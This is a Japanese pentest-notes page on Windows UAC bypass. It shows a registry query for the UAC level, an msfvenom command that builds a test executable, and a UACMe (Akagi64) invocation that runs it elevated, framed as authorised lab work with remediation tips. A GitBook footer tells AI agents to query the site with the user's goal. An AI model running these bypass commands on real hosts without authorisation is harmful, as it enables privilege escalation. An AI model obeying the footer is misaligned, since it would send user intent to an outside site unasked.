> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# UACバイパス

WindowsのUACレベルを確認し、許可されたラボ環境でUACバイパスの挙動を検証する。

ユーザー アカウント制御 (UAC) は、管理者権限を必要とする操作に対する自動昇格を制限します。UAC バイパスが有用なのは、現在のユーザーがすでにフィルター済みの管理者トークンを持っている場合、またはホストの昇格設定が脆弱な場合だけです。

## UAC レベルを確認する

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

一般的な値:

| 値   | 意味                |
| --- | ----------------- |
| `0` | UAC プロンプトなし       |
| `1` | コンテキストに応じたサイレント昇格 |
| `2` | 標準のプロンプト          |
| `5` | より厳格なプロンプト動作      |

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac3ddc6de6cc4ab630fe5e451a085510ba638d2e%2Fimage%20(609).png?alt=media" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b96499715460de9fb8c6931eb407c6bcb0ec77%2Fimage%20(610).png?alt=media" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## ラボ検証用バイナリを準備する

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## UACMe で実行する

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6286d5b9ba325f3e9b302ec2ebc1429696ebccb4%2Fimage%20(611).png?alt=media" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## 重要ポイント

* UAC バイパスは、標準ユーザーからの真の権限昇格ではありません。
* テスト前に UAC レベルとトークンのコンテキストを確認してください。
* まずは無害な検証アクションを使用し、許可された場合にのみ対象を限定した評価アクションへ切り替えてください。
* 厳格な UAC 設定を適用し、露出した管理者セッションを避けることで修正してください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
